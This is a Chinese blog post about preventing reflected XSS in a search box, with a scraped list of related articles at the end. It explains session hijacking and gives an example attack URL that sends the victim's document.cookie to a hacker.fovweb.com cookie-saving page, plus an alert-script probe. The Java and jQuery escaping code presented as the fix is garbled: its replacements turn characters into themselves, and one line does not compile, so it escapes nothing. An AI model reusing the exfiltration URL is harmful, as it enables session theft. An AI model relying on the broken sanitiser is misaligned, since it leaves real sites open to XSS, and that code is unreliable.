搜索框反射型xss问题解决(网站开发)
什么是反射型XSS
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等等。利用该漏洞,攻击者可以劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者拥有该授权用户的所有权限。
反射型XSS漏洞的攻击步骤
(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7
(2) 攻击者将含有攻击代码的URL发送给被攻击人,例:http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E
举例子:比如网站一般都有的搜索框,当在输入框里面输入:<script>alert(xx.cookies)</script> 的时候,如果你没有处理xss,那么就会弹出提示框,攻击者可以获取cookie信息,从而达到获取用户的所有权限
一般解决办法:
反射型XSS漏洞处理
了解了一下一般反射型XSS漏洞的处理:
(1) 对一些特殊的标签进行转义;
(2) 直接过滤掉JavaScript事件标签和一些特殊的html标签;
(3) 将重要的cookie标记为http only;
(4) 只允许用户输入我们期望的数据;
(5) 对数据进行html encode处理等。
我的实际解决方案:
第一,我在后端(java)对要输出到前端的信息,进行特殊字符转换,这样的话jsp页面里就识别不出来为js代码
public static String revertString(String input) {
// 使失去用处的标签从新有作用
if (input == null) {
input = "";
return input;
}
input = input.trim().replaceAll("&", "&");
input = input.trim().replaceAll("<", "<");
input = input.trim().replaceAll(">", ">");
input = input.trim().replaceAll("\t", " ");
input = input.trim().replaceAll("\r\n", "\n");
input = input.trim().replaceAll("\n", "<br>");
input = input.trim().replaceAll("\"", """);
input = input.trim().replaceAll("'", "'");
input = input.trim().replaceAll("\\\\", "\");
return input;
}
第二,如果你在前端进行赋值的话,也要进行转换
var content = $("#so").val().replace(/&/g, '&').toString().replace(/</g, '<').replace(/>/g, '>'); $('#ssjg_div').html(content );
如此就可以解决:搜索框里输入以下所遇到的问题了:
1,<script>alert(xx.cookies)</script>
2,"aa"
3,$nbsp
搜索框反射型xss问题解决(网站开发)的更多相关文章
- 【代码审计】VAuditDemo 前台搜索功能反射型XSS
在 search.php中 $_GET['search']未经过任何过滤就被输出 可能存在反射型XSS
- iOS开发——UI篇OC篇&TextField作为搜索框的使用
TextField作为搜索框的使用 在iOS开发中我们经常会使用到搜索框,但是有的时候系统自带的搜索框不足以满足我吗想要的功能,这个时候我们就可以使用自定义的搜索框实现想要的功能. 今天就简单的介绍一 ...
- 随笔之——各大热门网站search 搜索框的写法,浅析!
随笔之——各大热门网站search 搜索框的写法,浅析! 关于搜索框,写法有很多种,搜索框这一块是一个比较细的活,要先计算好他的高.宽: 下面我就以京东搜索框为例,给大家浅析一下. 上面就是最终s ...
- 【好程序员笔记分享】——iOS开发之使用TextField作为搜索框
-iOS培训,iOS学习-------型技术博客.期待与您交流!------------ iOS开发之使用TextField作为搜索框 今天给大家带来一个新的技巧,比如平时我们要使用代码创建一 ...
- ios开发之--搜索框的使用(PYSearchViewController的使用)
最近需要开发搜索框,比较了以前的各个版本的搜索框,UISearchDisplayController和UISearchController的使用,以后再做记录,随着ios11的更新,一些控件发生了,改 ...
- C# 动态生成word文档 [C#学习笔记3]关于Main(string[ ] args)中args命令行参数 实现DataTables搜索框查询结果高亮显示 二维码神器QRCoder Asp.net MVC 中 CodeFirst 开发模式实例
C# 动态生成word文档 本文以一个简单的小例子,简述利用C#语言开发word表格相关的知识,仅供学习分享使用,如有不足之处,还请指正. 在工程中引用word的动态库 在项目中,点击项目名称右键-- ...
- Android商城开发系列(五)—— 商城首页回到顶部和搜索框布局实现
今天我们来开发商城的首页[输入搜索框]布局和点击右下角图片回到顶部的效果 搜索功能在App中很常见,尤其是在商城类的项目当中,一般都会提供很强大的搜索功能,App的搜索布局一般都是在App的顶部,如下 ...
- 开发手机APP过程,不同使用场景APP搜索框的样式及区别
搜索框是 app 内最常见的控件之一,可以帮助用户快速又精准找到期望的内容与功能.不同的使用场景下,根据页面中搜索的重要程度,搜索框也有着不同的样式. 下面就常州开发APP公司和大家聊聊常见的四种样式 ...
- Android开发 ---代码创建选项菜单、隐藏菜单项、菜单的生命周期,菜单按钮图标设置、搜索框、xml中设置子菜单
1.activity_main.xml 描述: 定义了一个按钮 <?xml version="1.0" encoding="utf-8"?> < ...
随机推荐
- Log4Net 之初体验
今天试了一下关于日志的一个插件——Log4Net 关于这个插件就不过多描述了,有很多人用,也挺好用比较方便,所以在此记录下使用过程. 一.建一个mvc 空网站 名字叫 Log4NetTest 二.下载 ...
- eclipse的应用和整理
1如何在eclipse中获取动态项目的绝对路径 1.鼠标选中项目,右击菜单,选择properties2.出来弹出框,选择resource,location的值就是你想要的项目绝对路径 JSP中获得当前 ...
- Flink -- Java Generics Programming
Flink uses a lot of generics programming, which is an executor Framework with cluster of executor ha ...
- 使用HTML5 canvas做地图(2)瓦片以及如何计算的
上一篇也说到瓦片,我们为什么使用瓦片?这一篇主要是关于如何拼接地图? 下面的一张图,可以一眼明了,地图是如何切割以及拼接的. 瓦片信息 瓦片信息包括切图原点,瓦片大小,格式,分辨率以及分辨率级别等. ...
- PopupWindow简单使用
如图是效果图 当点击 “点我”的按钮是 会弹出 如图的 弹窗 补充为PopupWindow设置一个显示动画和消失的动画 先在anim的文件下分别设置显示和消失的动画 <?xml versio ...
- GridView的分页代码
1.前台代码 <PagerTemplate><div style="text-align:center; color:Blue"> <asp:Link ...
- Flask入门文件上传flask-uploads(八)
1 视图传递多个参数 (1) 普通传参 : 关键字参数传递 return render_template('模板名称.html',arg1=val1,arg2=val2...) (2) 字典传参 : ...
- Database 2 Day DBA guide_Chapter3
Chapter 3: Getting Started with Oracle Enterprise Manager 第三章:开始oracle企业管理器. Purpose(目的) This chapte ...
- em px 换算在线工具
网址: http://pxtoem.com/#help http://www.runoob.com/tags/ref-pxtoemconversion.html
- jsonp跨域请求响应结果处理函数(python)
接口测试跨域请求接口用的jsonp,需要将回调函数里的json字符串提取出来. jsonp跨域请求的响应结果格式: callback_functionname(json字符串). #coding:ut ...